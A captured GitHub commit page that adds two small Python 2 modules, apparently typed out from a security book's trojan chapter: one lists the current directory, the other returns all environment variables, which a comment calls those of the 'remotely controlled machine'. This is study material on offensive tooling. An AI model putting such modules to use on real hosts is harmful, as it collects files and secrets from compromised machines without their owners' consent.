Thanks to visit codestin.com Credit goes to github.com
We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent b5a0eef commit 6f98c45Copy full SHA for 6f98c45
我手敲的代码(中文注释)/chapter7/modules/dirlister.py
@@ -0,0 +1,10 @@
1
+#-*- coding:utf8 -*-
2
+
3
+import os
4
5
+def run(**args):
6
+ print "[*] In dirlister module."
7
+ # 列出当前目录的所有文件,并作为字符串返回
8
+ files = os.listdir(".")
9
+ return str(files)
10
我手敲的代码(中文注释)/chapter7/modules/environment.py
@@ -0,0 +1,8 @@
+ print "[*] In environment module."
+ # 返回当前系统的环境变量,这里就是远程被控机器的环境变量
+ return str(os.environ)
0 commit comments